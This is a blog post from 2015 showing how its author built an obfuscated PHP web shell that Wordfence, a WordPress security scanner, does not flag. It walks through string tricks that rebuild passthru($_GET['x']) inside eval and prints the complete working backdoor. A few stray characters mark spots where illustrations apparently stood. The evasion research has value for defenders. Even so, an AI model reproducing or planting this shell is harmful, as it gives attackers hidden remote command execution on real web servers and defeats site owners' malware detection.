Jumping The Fence – How Detecting Malicious PHP Files Isn’t That Easy.

December 22, 2015

Introduction

First of, I’d like to say that Wordfence have a pretty cool product and most people who intrude into someone’s server won’t take this much effort to hide themselves. Most hackers who upload PHP shells usually just stick with a generic one they’ve downloaded from a super priv8 hacker forum. Still, this shows how trivial it can be to bypass some systems.

Signatures Never The Answer

For those of you who don’t know what Wordfence is, it’s a leader in it’s field, a security plugin for WordPress which boasts over a million installs. This post doesn’t talk about how a PHP file has come onto the system, be it a vulnerable plugin or another part of the website, this is more on the detection of malicous files. Malicous script detection is a mammoth task, but is made easier by some hackers who simply upload they’re shell which is base64’d and eval’d. The way I evaded detection would primarily be used if the target was especially valuable, such as a government wordpress site or a multi-million pound company. Also take into account other security mechanisms that an administrator may put in place, this is no ‘oh shit’ moment.

That said I was able to bypass in under an hour, I suspect mostly because it relies on signatures that have previously been marked as malicous, which is great, but isn’t as effective as some may think when ‘professionals‘ wish to stay on the server. At first I simply tried something like this:

pAssThRu($_GET[‘x’]);

Some detection systems have problems understanding the capatalisation of letters and so I thought this would be a good start, passthru works much like the exec or system function. To my knowledge exec and system are used more often and so I wanted to test out to see if all functions are found as malicous, indeed this was the case. I then tested with a few web shells that I had which were obfuscated in various ways, shells like C99 or WSO for those interested, they were also detected successfully.

I then noticed that the eval function was not intially flagged up as malicous activity, which is perfectly right, because many web applications may need this function for purposes that aren’t malicious. I then looked at how I could trick or atleast have something that was a little different from other obfuscators/malicious code. I thought that manipulating the strings in certain way was a good way to start, but did not attempt to involve the functions base64_decode or gzdeflate, as the combination of these and eval would surely flag something up (although I haven’t tried, give it a go?).  I first brought some filler variables into the mix, this is quite common in exploit kit code and executable crypting, where the variables are either blank or are never used to make the code seem legitimate.

$a = “”;
$b = uniqid();

I then declare variables for later use, I would use str_shuffle to shuffle the characters around, but it wouldn’t matter because it would bring the output whatever I did, it is almost a form of primitive polymorphism.

$a = “aA”;
$se = “sS”;
$b = “bbBbBb”;

The b’s were filler like the above code, it was never going to be used, but $a and $se would, as the characters ‘a’ and ‘s’ are in the function passthru. The main aim of my code is to have the eval function basically call the first code passthru($_GET[‘x’]), but in a different way. With the the next two lines I decided to start using english sounding names to make it look less generated or obvious. I used the metaphone function to get some of the characters used in the code, in this case ‘t’ and ‘p’.

$tea = metaphone(“0-ttttttt-ttttt”);
$patrol = metaphone(“………..p”);

I then used the strip_tags function to get the combination ‘hr’ and ‘u’. Very simple function that probably hasn’t been used for malicious purposes like this before, what I was really trying to achieve was a completely unique payload.

$ru = strip_tags(“<a>hr</a>”);
$uare = strip_tags(“<b>u</b>”);

I then resorted to using the chr function which corresponds with ASCII, which I used for some of the characters like [ ] () and ‘, I later used some basic maths to get values with the chr function to add some difference to them.

$cake = chr(40);
$biscuit = chr(41);
$coffee = chr(36);
$family = chr((80+1)  + (8 * 1) + (1+1));
$tree = chr((70+11)  + (8 * 1) + (1+3));
$bark = chr(40-1);

I concatenated the first few variables to make the function which made it look like this:

bI then included the remaining parts into an array like so:

cAll I had to do after this is simply put all of the variables in the right combination to make this work which was:

eval($bench.$park[0].$park[2].$park[3].”ET”.$park[4].$park[6].”x”.$park[6].$park[5].$park[1].”;”);

With this code I could now successfully execute some commands remotely. Like so:

dI scanned with the latest version of Wordfence and it found no malicious scripts. SUCCESS!

aFull code:

<?php
$a = “”;
$b = uniqid();

$a = “aA”;
$se = “sS”;
$b = “bbBbBb”;
$tea = metaphone(“0-ttttttt-ttttt”);
$patrol = metaphone(“………..p”);
$ru = strip_tags(“<a>hr</a>”);
$uare = strip_tags(“<b>u</b>”);
$cake = chr(40);
$biscuit = chr(41);
$coffee = chr(36);
$under = strip_tags(“<p>_G</p><i>”);
$family = chr((80+1)  + (8 * 1) + (1+1));
$tree = chr((70+11)  + (8 * 1) + (1+3));
$bark = chr(40-1);

$bench = ($patrol.str_shuffle($a[0]). str_shuffle($se). $tea[0]. $ru. $uare);

$park = [$cake, $biscuit, $coffee, $under, $family, $tree, $bark];

eval($bench.$park[0].$park[2].$park[3].”ET”.$park[4].$park[6].”x”.$park[6].$park[5].$park[1].”;”);
?>

Conclusion

The most popular security system for WordPress was unable to identify the malicous code I created, It is rather hard to differentiate with PHP what is malicious and benign as shown here, even if code analysis is used as advertised by Wordfence. UnPHP was unable to handle how I was obfuscating my script as well. It’s not of upmost importance, as many hackers don’t go past the norm with PHP shells, but it is something to think about.